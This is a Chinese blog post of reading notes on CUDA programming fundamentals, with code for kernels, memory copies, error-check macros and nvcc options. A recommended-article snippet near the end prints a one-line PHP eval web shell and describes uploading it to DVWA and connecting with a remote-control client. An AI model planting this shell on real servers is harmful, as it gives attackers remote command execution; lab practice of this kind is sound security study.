1. GPU简介

GPU与CPU的主要区别在于:

  • CPU拥有少数几个快速的计算核心,而GPU拥有成百上千个不那么快速的计算核心。
  • CPU中有更多的晶体管用于数据缓存和流程控制,而GPU中有更多的晶体管用于算数逻辑单元。

所以,GPU依靠众多的计算核心来获得相对较高的并行计算性能。

一块单独的GPU无法独立地完成所有计算任务,它必须在CPU的调度下才能完成特定任务,因此当我们讨论GPU计算时,其实指的是CPU+GPU的异构计算。通常将起控制作用的CPU称为主机(host),起加速作用的GPU称为设备(device),它们之间一般采用PCIe总线连接。

NVIDIA公司出品的GPU中,支持CUDA(Compute Unified Device Architecture)编程的系列如下:

  • Tesla系列:主要用于科学计算。
  • Quadro系列:主要用于专业绘图设计。
  • GeForce系列:主要用于游戏与娱乐。
  • Jetson系列:主要用于嵌入式设备。

每款GPU都有一个计算能力(compute capability),写为形如X.Y的形式。计算能力决定了GPU硬件所支持的功能,它与性能不是简单的正比关系。下表列出了部分计算能力及其架构代号与发布年份,详细的GPU计算能力信息可以查阅官方网站:https://developer.nvidia.com/cuda-gpus

计算能力 架构代号 发布时间
X = 1 Tesla(特斯拉) 2006
X = 2 Fermi(费米) 2010
X = 3 Kepler(开普勒) 2012
X = 5 Maxwell(麦克斯韦) 2014
X = 6 Pascal(帕斯卡) 2016
X.Y = 7.0 Volta(伏特) 2017
X.Y = 7.5 Turing(图灵) 2018
X.Y = 8.6 Ampere(安培) 2020
X.Y = 8.9 Ada(阿达) 2022

表征GPU性能的一个重要参数是每秒浮点运算次数(floating-point operations per second,FLOPS),其数值通常在1012量级,即teraFLOPS(TFLOPS)。浮点运算有单精度和双精度之分,双精度浮点运算速度通常小于单精度浮点运算速度,对于Tesla系列GPU来说其比例一般是1/2左右,对于GeForce系列GPU来说其比例一般是1/32左右。另一个影响GPU性能的重要参数是显存带宽,它限制了显卡芯片与显存之间的数据交换速率。

CUDA官方文档包含了安装指南、编程指南、API手册、工具介绍等内容,网址是:https://docs.nvidia.com/cuda/

安装完CUDA开发工具后,可以在命令行中执行nvidia-smi来查看设备信息。

PS C:\> nvidia-smi
Wed Apr 19 21:53:50 2023
+---------------------------------------------------------------------------------------+
| NVIDIA-SMI 531.14 Driver Version: 531.14 CUDA Version: 12.1 |
|-----------------------------------------+----------------------+----------------------+
| GPU Name TCC/WDDM | Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
| | | MIG M. |
|=========================================+======================+======================|
| 0 NVIDIA GeForce RTX 3060 L... WDDM | 00000000:01:00.0 On | N/A |
| N/A 47C P8 13W / N/A| 737MiB / 6144MiB | 1% Default |
| | | N/A |
+-----------------------------------------+----------------------+----------------------+ +---------------------------------------------------------------------------------------+
| Processes: |
| GPU GI CI PID Type Process name GPU Memory |
| ID ID Usage |
|=======================================================================================|
| 0 N/A N/A 9236 C+G C:\Windows\explorer.exe N/A |
+---------------------------------------------------------------------------------------+

2. 运行时API

CUDA提供了两层API供程序员使用,分别是CUDA驱动(driver)API和CUDA运行时(runtime)API。其中,驱动API较为底层,它虽然编程接口更加灵活但编程难度更高,例如cuCtxCreate()cu开头的函数;运行时API则在驱动API的基础上进行了封装,更加容易使用,例如cudaMalloc()cuda开头的函数。CUDA运行时API中没有显式初始化设备的函数,在第一次调用一个和设备管理/版本查询功能无关的运行时API时,设备将自动初始化。

下面是一段利用CUDA运行时API进行数组相加的程序,它体现了一个CUDA程序的基本编程框架。

#include "cuda_runtime.h"
#include "device_launch_parameters.h"
#include <cstdlib> // CUDA核函数的定义
void __global__ add(const double* x, const double* y, double* z)
{
const int n = blockDim.x * blockIdx.x + threadIdx.x;
z[n] = x[n] + y[n];
} int main()
{
// 分配主机内存、初始化数据
const int N = 100000000;
const int M = sizeof(double) * N;
double* h_x = (double*)malloc(M);
double* h_y = (double*)malloc(M);
double* h_z = (double*)malloc(M);
for (int n = 0; n < N; ++n)
{
h_x[n] = 1.23;
h_y[n] = 4.56;
} // 分配设备内存、把主机数据复制到设备中
double* d_x, * d_y, * d_z;
cudaMalloc((void**)&d_x, M);
cudaMalloc((void**)&d_y, M);
cudaMalloc((void**)&d_z, M);
cudaMemcpy(d_x, h_x, M, cudaMemcpyHostToDevice);
cudaMemcpy(d_y, h_y, M, cudaMemcpyHostToDevice); // 调用核函数在设备中进行计算
const int block_size = 128;
const int grid_size = N / block_size;
add<<<grid_size, block_size>>>(d_x, d_y, d_z); // 把设备数据复制到主机中
cudaMemcpy(h_z, d_z, M, cudaMemcpyDeviceToHost); // 释放主机和设备的内存
free(h_x);
free(h_y);
free(h_z);
cudaFree(d_x);
cudaFree(d_y);
cudaFree(d_z); return 0;
}

3. 内存操作

在CUDA中,设备内存的动态分配可由cudaMalloc函数实现。第一个参数p是待分配设备内存指针的地址,第二个参数s是待分配内存的字节数。

cudaError_t cudaMalloc(void **p, size_t s);

cudaMalloc申请的设备内存需要用cudaFree函数释放。参数p是待释放设备内存的指针。

cudaError_t cudaFree(void *p);

主机内存与设备内存之间的数据传递可以使用cudaMemcpy函数。参数dst是目标地址,src是源地址,count是复制数据是字节数,kind表示数据传递的方向。

enum cudaMemcpyKind
{
cudaMemcpyHostToHost = 0, /**< Host -> Host */
cudaMemcpyHostToDevice = 1, /**< Host -> Device */
cudaMemcpyDeviceToHost = 2, /**< Device -> Host */
cudaMemcpyDeviceToDevice = 3, /**< Device -> Device */
cudaMemcpyDefault = 4 /**< Direction of the transfer is inferred from the pointer values. Requires unified virtual addressing */
}; cudaError_t cudaMemcpy(void *dst, const void *src, size_t count, enum cudaMemcpyKind kind);

4. 核函数

主机对设备的调用是通过核函数(kernel function)来实现的,核函数与C++函数的主要区别是:

  • 核函数需要被限定词__global__修饰。
  • 核函数的返回类型必须是void

核函数的线程(thread)往往组织为线程块(thread block),所有线程块构成了一个网格(grid)。网格大小(grid size)是指网格中包含的线程块个数,线程块大小(block size)是指线程块中包含的线程个数。调用核函数时,需要在三括号<<<>>>中指明网格大小以及线程块大小,即<<<网格大小, 线程块大小>>>(也可以理解为<<<线程块个数, 每个线程块包含的线程个数>>>),核函数中的总线程数就等于网格大小乘以线程块大小。

网格大小与线程块大小既可以是一维的,也可以是二维或者三维的。对于多维的情况,需要用dim3结构体来表示,其中x维度在逻辑上是最内层的,即变化最快的。网格大小在x、y、z方向上的最大值分别是231-1、65535、65535;线程块大小在x、y、z方向上的最大值分别是1024、1024、64,并且三者的乘积不能大于1024,也就是说一个线程块最多只能拥有1024个线程。

//简化的uint3结构体定义
struct uint3
{
unsigned int x, y, z;
}; //简化的dim3结构体定义
struct dim3
{
unsigned int x, y, z;
constexpr dim3(unsigned int vx = 1, unsigned int vy = 1, unsigned int vz = 1) : x(vx), y(vy), z(vz) {}
constexpr dim3(uint3 v) : x(v.x), y(v.y), z(v.z) {}
constexpr operator uint3(void) const { return uint3{x, y, z}; }
}; //三维的网格与线程块
dim3 grid_size(4, 3, 2);
dim3 block_size(4, 3, 2);
kernel_func<<<grid_size, block_size>>>(); //二维的网格与线程块
dim3 grid_size(4, 3); //等价于dim3 grid_size(4, 3, 1);
dim3 block_size(4, 3); //等价于dim3 block_size(4, 3, 1);
kernel_func<<<grid_size, block_size>>>(); //一维的网格与线程块
dim3 grid_size(4); //等价于dim3 grid_size(4, 1, 1);
dim3 block_size(4); //等价于dim3 block_size(4, 1, 1);
kernel_func<<<grid_size, block_size>>>(); //一维情况下三括号中也可以直接填数字,例如kernel_func<4, 4>();

在核函数内部,可以分别通过dim3类型的内建变量gridDimblockDim来获取网格大小与线程块大小:gridDim.xgridDim.ygridDim.z分别表示网格大小在x、y、z维度上的值;blockDim.xblockDim.yblockDim.z分别表示线程块大小在x、y、z维度上的值。

类似地,核函数中也分别定义了uint3类型的内建变量blockIdxthreadIdx来表示当前线程块的标号以及线程的标号,blockIdx.x的取值范围是0gridDim.x - 1threadIdx.x的取值范围是0blockDim.x - 1,y维度和z维度的情况可以以此类推。

此外,还有int型的内建变量warpSize表示线程束(thread warp)的大小。一个线程块中连续warpSize个线程构成一个线程束,具体地说,一个线程块中第0~31个线程属于第0个线程束,第32~63个线程属于第1个线程束。对于目前所有的GPU架构来说,warpSize的值都是32。

#include "cuda_runtime.h"
#include "device_launch_parameters.h"
#include <cstdio> __global__ void hello_from_gpu()
{
const int bx = blockIdx.x;
const int tx = threadIdx.x;
const int ty = threadIdx.y;
printf("block-%d and thread-(%d, %d)!\n", bx, tx, ty);
} int main(void)
{
const dim3 block_size(2, 3);
hello_from_gpu<<<2, block_size>>>();
cudaDeviceSynchronize();
return 0;
} /*
线程块的计算是相互独立的,以下是一种可能的输出情况,有可能block-0先完成计算,也有可能block-1先完成计算
block-1 and thread-(0, 0)
block-1 and thread-(1, 0)
block-1 and thread-(0, 1)
block-1 and thread-(1, 1)
block-1 and thread-(0, 2)
block-1 and thread-(1, 2)
block-0 and thread-(0, 0)
block-0 and thread-(1, 0)
block-0 and thread-(0, 1)
block-0 and thread-(1, 1)
block-0 and thread-(0, 2)
block-0 and thread-(1, 2)
*/

5. 设备函数

核函数可以调用不带执行配置的自定义函数,这样的自定义函数称为设备函数(device function)。设备函数可以有返回值。

  • __global__修饰的函数称为核函数,一般由主机调用,在设备中执行。
  • __device__修饰的函数称为设备函数,只能由核函数或其它设备函数调用,在设备中执行。
  • __host__修饰的函数就是主机端的普通C++函数,由主机调用,在主机中执行。对于主机端的函数,该修饰符可以省略。之所以提供这样的修饰符是因为有时可以同时用__host____device__修饰同一个函数,使得该函数既是一个普通C++函数又是一个设备函数,这样做可以减少冗余代码,编译器将针对主机和设备分别编译该函数。
double __device__ add_device(const double x, const double y)
{
return x + y;
} void __global__ add(const double* x, const double* y, double* z, const int N)
{
const int n = blockDim.x * blockIdx.x + threadIdx.x;
z[n] = add_device(x[n], y[n]);
}

不能同时用__device____global__修饰一个函数,即不能将一个函数同时定义为设备函数与核函数。同理也不能同时用__host____global__修饰一个函数,即不能将一个函数同时定义为主机函数与核函数。

可以使用__noinline__建议一个设备函数为非内联函数,也可以使用__forceinline__建议一个设备函数为内联函数。

6. 错误检测

所有CUDA运行时API函数都以cuda作为前缀,而且都返回一个cudaError_t类型的值表示错误信息,返回值为cudaSuccess时表示成功调用了API函数。可以使用cudaGetErrorString函数来将错误码转换成错误的文字描述。

#define CHECK(call)                                                     \
do \
{ \
const cudaError_t error_code = call; \
if (error_code != cudaSuccess) \
{ \
printf("CUDA Error:\n"); \
printf(" File: %s\n", __FILE__); \
printf(" Line: %d\n", __LINE__); \
printf(" Error code: %d\n", error_code); \
printf(" Error text: %s\n", cudaGetErrorString(error_code)); \
exit(1); \
} \
} while (0) CHECK(cudaMemcpy(d_x, h_x, M, cudaMemcpyDeviceToHost));
//这里故意把cudaMemcpyHostToDevice写成cudaMemcpyDeviceToHost,得到的错误信息可能如下:
//CUDA Error:
// File: test.cu
// Line: 42
// Error code: 11
// Error text: invalid argument

由于核函数没有返回值,因此没法直接使用上述方法来捕捉错误。为了捕捉核函数可能发生的错误,可以在调用核函数之后使用cudaGetLastError来获取错误信息。

add<<<256, 1280>>>();
CHECK(cudaGetLastError());
CHECK(cudaDeviceSynchronize()); //线程块大小的最大值是1024,上面故意写成1280,得到的错误信息可能如下:
//CUDA Error:
// File: test.cu
// Line: 42
// Error code: 9
// Error text: invalid configuration argument

7. NVCC

一般来说,一个CUDA程序既有标准的C++代码,也有不属于标准C++的CUDA代码。CUDA程序编译器nvcc在编译一个CUDA程序时,会将标准C++代码交给C++编译器(例如g++或cl)去处理,它自己则负责编译CUDA代码的部分。CUDA程序源文件的扩展名通常是.cu,不带任何参数选项地使用nvcc编译一个源文件的指令如下:

nvcc hello.cu

nvcc的编译过程分为两个阶段:

  1. 首先将设备代码编译为一种面向虚拟架构的PTX(parallel thread execution)伪汇编代码。
  2. 然后将PTX代码编译为面向实际架构的cubin目标代码。

对于nvcc编译器,-arch选项指定了第一阶段使用什么虚拟架构,-code选项指定了第二阶段使用什么实际架构,实际架构的计算能力必须大于等于虚拟架构,例如:

-arch=compute_XY -code=sm_ZW

上述选项生成的可执行文件,只能在计算能力为Z.W的GPU上运行。为了让编译出来的可执行文件能在更多的GPU上运行,nvcc也提供了即时编译(just in time compilation)的机制,可以在运行时从其中保留的PTX代码临时编译出一个cubin目标代码。要在文件中保留PTX代码,就需要用如下方式指定所保留PTX代码的虚拟架构,这里的两个计算能力都是虚拟架构的计算能力,必须完全一致:

-arch=compute_XY -code=compute_XY

nvcc也支持使用-gencode选项来执行多组计算能力,例如:

-gencode arch=compute_35,code=sm_35
-gencode arch=compute_50,code=sm_50
-gencode arch=compute_60,code=sm_60
-gencode arch=compute_60,code=compute_60

上述选项生成的目标文件将会包含:

  • 基于compute_35PTX代码产生的sm_35目标代码
  • 基于compute_50PTX代码产生的sm_50目标代码
  • 基于compute_60PTX代码产生的sm_60目标代码
  • compute_60PTX代码

在目标文件运行时,若目标代码可直接运行在GPU上,则直接运行目标代码;否则,若文件中包含PTX代码,则显卡驱动会尝试将PTX代码动态编译为目标代码然后执行。

在CMakeLists.txt中添加CUDA支持的示例如下:

cmake_minimum_required(VERSION 3.18 FATAL_ERROR)

enable_language(CUDA) # 也可以在project命令中添加CUDA支持,例如:project(TestCUDA LANGUAGES CXX CUDA)

set(CMAKE_CUDA_ARCHITECTURES 52) # https://cmake.org/cmake/help/latest/variable/CMAKE_CUDA_ARCHITECTURES.html

《CUDA编程:基础与实践》读书笔记(1):CUDA编程基础的更多相关文章

  1. 《Essential C++》读书笔记 之 C++编程基础

    <Essential C++>读书笔记 之 C++编程基础 2014-07-03 1.1 如何撰写C++程序 头文件 命名空间 1.2 对象的定义与初始化 1.3 撰写表达式 运算符的优先 ...

  2. 《Java并发编程的艺术》读书笔记:二、Java并发机制的底层实现原理

    二.Java并发机制底层实现原理 这里是我的<Java并发编程的艺术>读书笔记的第二篇,对前文有兴趣的朋友可以去这里看第一篇:一.并发编程的目的与挑战 有兴趣讨论的朋友可以给我留言! 1. ...

  3. Java并发编程的艺术读书笔记(2)-并发编程模型

    title: Java并发编程的艺术读书笔记(2)-并发编程模型 date: 2017-05-05 23:37:20 tags: ['多线程','并发'] categories: 读书笔记 --- 1 ...

  4. Java并发编程的艺术读书笔记(1)-并发编程的挑战

    title: Java并发编程的艺术读书笔记(1)-并发编程的挑战 date: 2017-05-03 23:28:45 tags: ['多线程','并发'] categories: 读书笔记 --- ...

  5. 《玩转Django2.0》读书笔记-Django建站基础

    <玩转Django2.0>读书笔记-Django建站基础 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.网站的定义及组成 网站(Website)是指在因特网上根据一 ...

  6. 《jQuery基础教程》读书笔记

    最近在看<jQuery基础教程>这本书,做了点读书笔记以备回顾,不定期更新. 第一章第二章比较基础,就此略过了... 第三章 事件 jQuery中$(document).ready()与j ...

  7. 【记】《.net之美》之读书笔记(一) C#语言基础

    前言 工作之中,我们习惯了碰到任务就直接去实现其业务逻辑,但是C#真正的一些基础知识,在我们久而久之不去了解巩固的情况下,就会忽视掉.我深知自己正一步步走向只知用法却不知原理的深渊,所以工作之余,一直 ...

  8. 《Java并发编程的艺术》读书笔记:一、并发编程的目的与挑战

    发现自己有很多读书笔记了,但是一直都是自己闷头背,没有输出,突然想起还有博客圆这么个好平台给我留着位置,可不能荒废了. 此文读的书是<Jvava并发编程的艺术>,方腾飞等著,非常经典的一本 ...

  9. Java并发编程实践读书笔记(2)多线程基础组件

    同步容器 同步容器是指那些对所有的操作都进行加锁(synchronize)的容器.比如Vector.HashTable和Collections.synchronizedXXX返回系列对象: 可以看到, ...

  10. 《UNIX-Shell编程24学时教程》读书笔记Chap1,2 Shell基础,脚本基础

    Chap1 Shell基础 知道该使用哪种命令是依赖于经验的.----惟手熟尔. 1.1 什么是命令 其实知道这些名词好像也没什么帮助,嘻嘻 1.2 什么是Shell 不同用户不同的提示符:不同的环境 ...

随机推荐

  1. DVWA文件上传

    Low安全级别: <?php @eval($_POST['cmd']);?> 文本编辑器写入一句话木马,保存并改为php文件. 上传 成功上传,并返回路径 打开菜刀客户端连接 成功连接 反 ...

  2. 2023-03-18:给定一个长度n的数组,每次可以选择一个数x, 让这个数组中所有的x都变成x+1,问你最少的操作次数, 使得这个数组变成一个非降数组。 n <= 3 * 10^5, 0 <= 数值

    2023-03-18:给定一个长度n的数组,每次可以选择一个数x, 让这个数组中所有的x都变成x+1,问你最少的操作次数, 使得这个数组变成一个非降数组. n <= 3 * 10^5, 0 &l ...

  3. vue全家桶进阶之路32:Vue3 WatchEffect和watch 监听

    在 Vue 3 中,watchEffect 是一个用于监听响应式数据变化的 API.它可以在函数内部自动跟踪数据的依赖,并在依赖变化时重新运行函数. watchEffect 的作用以及各个参数的功能讲 ...

  4. Django中多个app放置同一文件夹中

    在pycharm中新建一个管理app的python package目录:apps 将存在的app用拖拽到apps目录下,此时会弹出对话框,取消勾选Search for references(搜索索引) ...

  5. vue对vue-giant-tree进行节点操作

    vue 项目中使用到了vue-giant-tree这个使用ztree封装的树形插件,在对其节点进行操作时遇到了无法向传统的jquery那样获取到ztreeObj:而导致了无法控制节点dom:浪费了许多 ...

  6. 大幅提升前端工作效率!Numeral.js数值格式化库来了!

    我们日常开发中,时常会碰到数值格式化操作的场景,今天了不起就为大家分享一款相对比较全面的数值格式化的JS库:Numeral.js Numeral.js Numeral.js 是一个用来对数值进行操作和 ...

  7. Spectre.Console-实现自己的CLI

    引言 最近发现自己喜欢用的 Todo 软件总是差点意思,毕竟每个人的习惯和工作流不太一样,我就想着自己写一个小的Todo 项目,核心的功能是自动记录 Todo 执行过程中消耗的时间(尤其面向程序员), ...

  8. WPF中登录接口

    通过获取文本将json字符串转化成对象并做好相应的匹配 步骤 获取相应的文本 json字符串转化对象 json转化成实体类 参考链接:https://www.sojson.com/json2cshar ...

  9. pyhton - parallel - programming - cookbook(THREAD)

    基于线程的并行 通常,一个应用有一个进程,分成多个独立的线程,并行运行.互相配合,执行不同类型的任务. 线程是独立的处理流程,可以和系统的其他线程并行或并发地执行.多线程可以共享数据和资源,利用所谓的 ...

  10. 【.NET深呼吸】将XAML放到WPF程序之外

    上一篇水文中,老周说了一下纯代码编写 WPF 的大概过程.不过,还是不够的,本篇水文中咱们还要更进一步. XAML 文件默认是作为资源打包进程序中的,而纯代码编写又导致一些常改动的东西变成硬编码了.为 ...